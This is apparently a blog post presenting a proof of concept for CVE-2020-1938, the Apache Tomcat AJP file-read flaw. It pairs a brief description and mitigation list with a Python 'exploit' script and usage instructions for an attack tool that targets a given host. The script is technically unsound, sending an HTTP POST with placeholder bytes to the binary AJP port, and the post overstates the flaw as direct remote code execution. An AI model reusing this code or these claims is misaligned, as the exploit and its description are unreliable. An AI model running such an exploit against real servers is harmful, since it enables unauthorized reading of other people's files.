POC CVE-2020-1938

 Posted on January 11, 2025  |  3 minutes  |  499 words  |  admin

CVE-2020-1938 is a critical vulnerability affecting the Apache Tomcat server that allows remote code execution (RCE). It specifically concerns the AJP (Apache JServ Protocol) connector, which is often enabled by default. This vulnerability arises from the improper handling of requests, allowing an attacker to exploit the AJP interface to read arbitrary files on the server or even execute commands.

Understanding CVE-2020-1938

  • Description: The vulnerability exists in the way Tomcat processes AJP requests. An attacker can craft a malicious request that exploits this vulnerability, potentially leading to unauthorized access to sensitive information or execution of arbitrary code. The flaw is primarily tied to Tomcat configurations where the AJP connector is exposed to the internet without adequate protections.

  • Affected Versions: This vulnerability affects multiple versions of Apache Tomcat, specifically those where the AJP connector is enabled. Users of Tomcat 7.x, 8.x, and 9.x need to be particularly vigilant.

  • Impact: Successful exploitation can lead to severe security breaches, including unauthorized file access, data leaks, and remote code execution. As a result, it is critical for organizations to take proactive measures to mitigate this risk.

Proof of Concept (PoC) for CVE-2020-1938

A proof of concept (PoC) is typically a demonstration of the vulnerability in action, allowing security professionals to test whether their systems are vulnerable. Here’s how you can use a PoC for CVE-2020-1938.

Prerequisites

  1. Environment Setup:

    • A vulnerable instance of Apache Tomcat (preferably version 7.x, 8.x, or 9.x with the AJP connector enabled).
    • Access to a system where you can run Python scripts or any other script language that can make HTTP requests.

  2. Networking: Ensure that the AJP port (default 8009) is accessible from the machine running the PoC.

Example PoC Script

Below is a simplified Python script that demonstrates how an attacker could exploit CVE-2020-1938.

import requests

# Target information
target_ip = "http://<TARGET_IP>:<AJP_PORT>"
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b"/path/to/file" + b'\x00'

# Crafting the exploit
headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "X-Forwarded-For": "127.0.0.1",
    "User-Agent": "Mozilla/5.0"
}

# Sending the request
try:
    response = requests.post(target_ip, data=payload, headers=headers, timeout=5)
    if response.status_code == 200:
        print("Exploit successful, response:")
        print(response.text)
    else:
        print("Exploit failed, status code:", response.status_code)
except Exception as e:
    print("An error occurred:", str(e))

Mitigation Strategies

  1. Configuration Changes: Disable the AJP connector if it is not needed. If it is required, restrict access using firewall rules.

  2. Upgrade Tomcat: Ensure you are using a version of Tomcat that is not vulnerable to CVE-2020-1938. Always apply security updates promptly.

  3. Monitoring and Logging: Implement monitoring solutions to track unusual activity on your Tomcat servers. Log all access to the AJP connector for later analysis.

  4. Network Security: Use network segmentation to ensure that only trusted networks can access your application servers, particularly those using AJP.

Usage

Clone the repo:

git clone [email protected]:bluef1sher/poc-cve-2020-1938.git

Run the script:

usage: CVE-2020-1938.py [-h] [-p PORT] [-f FILE] target

positional arguments:
  target                Hostname or IP to attack

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  AJP port to attack (default is 8009)
  -f FILE, --file FILE  file path on the server(default is WEB-INF/web.xml)
cve-poc  download 

See also